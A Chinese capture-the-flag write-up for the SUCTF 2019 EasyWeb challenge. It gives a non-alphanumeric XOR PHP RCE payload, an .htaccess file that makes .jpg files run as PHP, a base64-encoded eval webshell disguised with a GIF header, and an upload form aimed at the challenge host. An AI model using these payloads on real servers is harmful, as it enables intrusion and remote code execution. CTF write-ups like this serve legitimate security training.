[BUUCTF题解][SUCTF 2019]EasyWeb
### 知识点
- .htaccess文件利用
- 无字符rce
过程
打开题目就能看到源码,倒也不需要搜集信息了。
很显然需要通过无字符RCE去调用上面的get_the_flag
函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();
的格式来调用,此处[]
被过滤可以采用{}
来替代也是一样的。
这里直接采用脚本生成payload,(脚本见:[NEW][BUUCTF题解][极客大挑战 2019]RCE ME - Article_kelp - 博客园 (cnblogs.com))。
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
从phpinfo页面可以找到如下的信息(之后再用,现在先列举出来):
接下来就可以考虑get_the_flag
函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph
问价内容也不能包含<?
,这里可以采用.htaccess
(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file
指定文件被PHP包含,通过AddType application/x-httpd-php
指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter
伪协议进行base64编码处理,这样就能绕过对<?
的检测了。
至于exif_imagetype
对问价内容检测可以通过添加文件头幻术来绕过,.htaccess
中#作为注释,所以可以采用XBM文件的,而上传的PHP代码文件可以添加更为方便的GIF文件的。
.htaccess
文件内容:
#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg
poc.jpg
文件内容(因为base64按4位一解码故文件幻数头补上2位):
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
这里上传文件用PHP代码实现:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://8d22cfbb-0ec0-42f4-b27f-de6d04423133.node4.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传完成后获得的路径如下:
upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/.htaccess
upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/poc.jpg
用蚁剑连上。
接下来就需要考虑之前phpinfo中看到的关于open_basedir
和disable_function
的限制了,这里新建个php文件用通用的函数组合来绕过限制。
找到flag,在上面的php文件中加上读取的语句就能获得flag了。